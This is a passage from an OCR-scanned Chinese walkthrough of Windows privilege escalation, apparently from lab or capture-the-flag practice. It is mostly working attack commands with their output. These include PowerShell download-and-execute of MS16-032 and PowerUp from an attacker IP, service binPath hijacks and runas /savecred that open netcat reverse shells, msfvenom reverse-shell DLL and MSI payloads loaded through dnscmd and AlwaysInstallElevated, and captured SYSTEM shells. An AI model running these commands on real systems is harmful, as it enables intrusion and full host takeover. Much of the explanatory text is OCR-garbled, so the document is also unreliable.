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https://github.com/bitsadmin/wesng.git

1. Bwesng FEBIAM F L B, 6 F 9 &G 0w T 288 & .

python wes.py ——update



Jopt/wesng-master# proxychains python wes.py --update
) -3.1 (http://proxychains.sf.net)
Windows Exploit Suggester ©.98 ( https://github.com/bitsadmin/wesna/ )
[+] Updating definitions
|ONS-request| raw.githubusercontent.com

|S-chain|-<>- = =z==- 0K
|DNS - response| raw.githubusercontent.com is
|5-chain|-<= ome

[+] Obtained definitions created at 20200716

2. % HArHlas fsysteminfodn & B 45 R4t IR A7, [ Hwesn
g HEAT R £

ro i:/opt/wesng-master# python wes.py systeminfo.txt
Windows Exploit Suggester 0.98 ( https://github.com/bitsadmin/wesng/ )
[+] Parsing systeminfo output
[+#] Operating System
Name: Windows 7 for 32-bit Systems Service Pack 1
- Generation: 7
Build: 7601
- Version: None
- Architecture: 32-bit
Installed hotfixes (3): KB2534111, KB2999226, KB976902
[+] Loading definitions
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https://www. exploit—
db. com/exploits/39719 8 [ 8% H & H .
ffi Hpowershell & %k A K A A I 47 -

Powershell IEX (New-

Net.WebClient).DownloadString( 'http://X.X.X.X:8000/ms16-
032.psl');Invoke-MS16-032
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https://github.com/PowerShel lMafia/PowerSploit/tree/master/Prive

ScC

powerup & — MNAEH I H M windows $2 B4 Bh I A, 0T DA & &%
MRS, d11EF, BahsE, kMR LW LR R

o

# F & & 1 bL CVE-2019-1322 # 47 # 7 , Update
Orchestrator & % ® & 417 »H X A NT
AUTHORITY\SYSTEM, JF H £ Windows 10 flWindows Server
2019 FE2BRiNEH . B4 ffi Hpowershell il # powerup. psl,
B Fpowerup. pslg P M AInvokeAllchecksE  #H f# FHpow
ershel LHAT I B0 &, AT 1 HARAS

Powershell -exec bypass IEX(new-object
Net.webclient).downloadstring( 'http://192.168.25.31:8000/PowerUp
.psl'); InvokeAllchecks

KILUSOSVCH PL#EAZ o il & )5 .



ItEK.ne'-e-objecl: Met.webclient) . downloadstring( hitp: /f182.168.125. BE;EW-'F-'-wl

Privilege SelmpersonatePrivilegs
Attributes SE_PRAIVILEGE_EMABLED BY DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle @ 2836

ProcessId 3968
Hame 3968
1 Check : Process Token Privileges
i
L Servicease Gltstack
i Path "CivGitStackhapache \bin\httpd.exe™ -k runt
i ModifiableFile Cohvaitstack\apache\binhhttpd. exe
i ModifiableFilepersissions (WriteOwner, Delete, Writedtoributes, Sym
ModifiasbleFlleldentityReference @ VIRUS\GitService
I Startiame waltservice
i AbuseFunction Install -ServiceBinary -Hase ‘GltStack’
1 CanRestart Falsa
1 Hame Gitstack
| Check Modifiable Service Files
if Servicetiase Usosve |
I Path CoAMindows\systend\svchost. exa -k netsvcs -p
[ Starthame LocaisSysten
lﬁ.buseFunctinﬂ Invoke-Servicetbuse -Hame 'umiw.;'l
I CanRastart True
I Hame Usaive
b Chieck : Modifiable Services

2. P RIAT EfEne, BEALT] PL# Al cs Bims £ A BRI AT B AT BAT
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, Wb H =2/, binPath=FMEEREFEE— DT, BEURS
JRE R ATRE P R, A B R 55 .

1) =1EUS0SvVe R % .

PS C:\Windows\system32> sc stop UsoSvc

2) KBRS HAT M exe XH B K Nne, xifishell,

PS C:\Windows\system32> sc config usosvc binPath=

"C:\GitStack\gitphp\nc.exe 192.168.25.31 4455 -e cmd.exe"

3) KRS IKRERENEINHD.

PS C:\Windows\system32> sc config usosvc start=auto



4) B S-
PS C:\Windows\system32> sc start usosvc

12 BB YL B AT

21 5t onfig usoswe BinPathe™( e hdr L .exe 185216825 31 4455 -¢ omd_oxe™
exe Wi iPathe Wl ndows 5 rg e . i L 5. 445% Ly

~/exam/B4#|nc -nlvp 4455
listening on [any] 4455
fconnect to [192.168.25.31] from (UNKNOWM) [192.168.25.84] 49715
Microsoft Windows [Version 10.8.17763.437]
(c) 2818 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet®:

Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . : 192.168.25.84
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1. B ERMBHE PR, TATKH P EDNSAdmind B0 .

Group Name
Attributes

Everyone |
Mandatory group, Ensbled by default, Er nabled fgre I..|'.I
BUILTIN\Users Alias

Mandatory group, Enabled by default, Enabled group
BUILTINAPre-Winds I mpatible A as

Mandatory g nah ed by defa

ant Users
Enabled by default, E

ry group, Enabled !, default,
u'l'hE'I'ltll":tl-_-ﬂ- IJ‘El‘

n |...,..,‘|.1_.|.'II'I
p. Enabled by default

21-1392959593-3013219662 - 359666343

ors
group, Enabled I::-:_..I default yLid group

5.1-5 2-359668343
y group, Enabled by default, led group, Local G
NT AUTHORITYWNTLM Autheatication Well-known group 5-1-5-64.10

Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label 5-1-16-8192

2. ffi Himsfvenom &K — 1 x#shell,

Msfvenom -p windows/x64/shell reverse tcp LHOST=X.X.X.X
LPORT=443 -f dll -0 rev.dll




LHOST= PORT=443 -f dll -0 rev.dil
atform: :Windows from the payload

.M T HEN B3 smb ik &5, 18 UNC R 32 B B 5 /1 b A s B9 D
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4. HWwHL2s FE A Hdnsend AT 0 & FEDLL S fF, 38 FH
AT dnscms 7] {8 2= 2 W,

PS C:\Users\> dnscmd.exe /config /serverlevelplugindll
\\X. X X X\s\rev.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.
PS C:\Users\> sc.exe \\resolute stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING

PAUSABLE,
ACCEPTS_SHUTDOWN)

WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT _CODE : © (©0x0)
CHECKPOINT : ox1

WAIT_HINT : Ox7530*



PS C:\Users\> sc.exe \\resolute start dns
SERVICE_NAME: dns
TYPE : 10 WIN32 OWN_PROCESS
STATE : 2 START_PENDING

NOT_PAUSABLE,
IGNORES_SHUTDOWN)

WIN32_EXIT_CODE : 0 (0x0)

SERVICE_EXIT_CODE : © (0x0)

CHECKPOINT : Ox0
WAIT_HINT ¢ @x7de
PID © 2644
FLAGS
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AlwaysInstallElevated & — T I, T AWindows it & #Hl I
MR AP L 2EAESH 7D R4S TR B & AR NS T
NAE T RE . MST R FE FMicrosoft [f) % 3 i 7 8 A & 3 #% 20
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iH ot 7H 5 148 i 9] windows
installer KRIFATHCE , BROANEM N IZE & 2 %W R

RIAZH

1.EARERAETENZGITE T ZEE, WA l@Edhirpowe
rup. ps 1R A BIR .
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated

=gg gquery HELMASOFTWARENPolicies\Hicrosoft\Windows\Installer Ju A
vated

HKEY LOCAL MACHINEN\SOFTHAREYPelicies\Microsoftilindows'\Installer
AlwaysinstallElevated REG_DWORD Bx1

C:\Users reqg gquery HKCUZSOFTWARE\Policies\MicrosoftiWindows\Installer fu A
luaysInstallElevated

HKEY _CURRENT_USER\SOFTWARE“Policies‘\Microsofti\Windows\Installer
AlwaysInstallElevated REG_DWORD ax1

2. HmsfvenomA K — Pmsi XM KK #Hshell,

Msfvenom -p windows/meterpreter/reverse_tcp lhost=X.X.X.X

lport=4567 -f msi > 1.msi

msiexec /quiet /gn /i C:\Windows\Temp\1l.msi
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Windows7Z Ja M A/F R G 8E Mt T windows iR [ M 2 € (Windows
Vault), Window £ [ #i A7 Windows 7] BL H 3 % 3% H 85 4,
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1. SGil yul cmdkey /list

VR AE I T A P S, K¥Madninistrator 98 7 i 7F
7AW L.



Administrator engineer
security
The command completed successfully.

2. i runas RLLEH AN IR JE ) ncx#shell,
Runas /user:administrator /savecred "nc.exe -e cmd.exe X.X.X.X
1337"

C:iUsersysecurity>runas fuser:Administrator /savecred “"nc.exe -e cmd.exe

C:\Users\security=f]

3. AEWEHENE ST, FEx#Hshell,

@Akali: fopt# nc -luvp 1337
l:stenlng on [any] 1337 ...
10.10.10.98: inverse host lookup failed: Unknown hos t
connect to from (UNKNOWN ) 191549
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32=whoami
whoami
dministrator

C:\Windows\system32=§
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